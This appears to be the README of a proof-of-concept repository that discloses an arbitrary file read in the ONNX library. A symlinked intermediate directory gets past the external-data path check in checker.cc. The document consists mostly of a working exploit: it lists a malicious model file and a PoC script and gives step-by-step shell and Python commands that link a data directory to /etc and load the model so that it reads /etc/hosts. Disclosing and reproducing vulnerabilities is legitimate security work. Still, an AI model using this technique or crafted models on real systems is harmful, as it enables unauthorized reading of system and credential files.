ReLrO/onnx-symlink-traversal-poc

ONNX Symlink Directory Traversal PoC

Vulnerability

Arbitrary file read via intermediate symlink directory traversal bypassing external data path validation in ONNX (checker.cc:1016).

The is_symlink() check only tests the final path component, not intermediate directories. A symlinked directory in the external data path bypasses all validation.

Files

• model.onnx — Malicious ONNX model with external data pointing to data/hosts
• poc_onnx_symlink_traversal.py — Full PoC script (creates model + symlink + triggers read)

Reproduction

# Step 1: Run the PoC script (creates model + symlink)
python3 poc_onnx_symlink_traversal.py /tmp/onnx_poc

# Step 2: Or manually reproduce:
mkdir /tmp/onnx_poc
cp model.onnx /tmp/onnx_poc/
ln -s /etc /tmp/onnx_poc/data

# Step 3: Trigger arbitrary file read
python3 -c "
import onnx
model = onnx.load('/tmp/onnx_poc/model.onnx')
print('Read from /etc/hosts:', model.graph.initializer[0].raw_data)
"

The symlink data -> /etc causes data/hosts to resolve to /etc/hosts, bypassing all path validation checks.

Tested On

onnx 1.20.1 (latest release)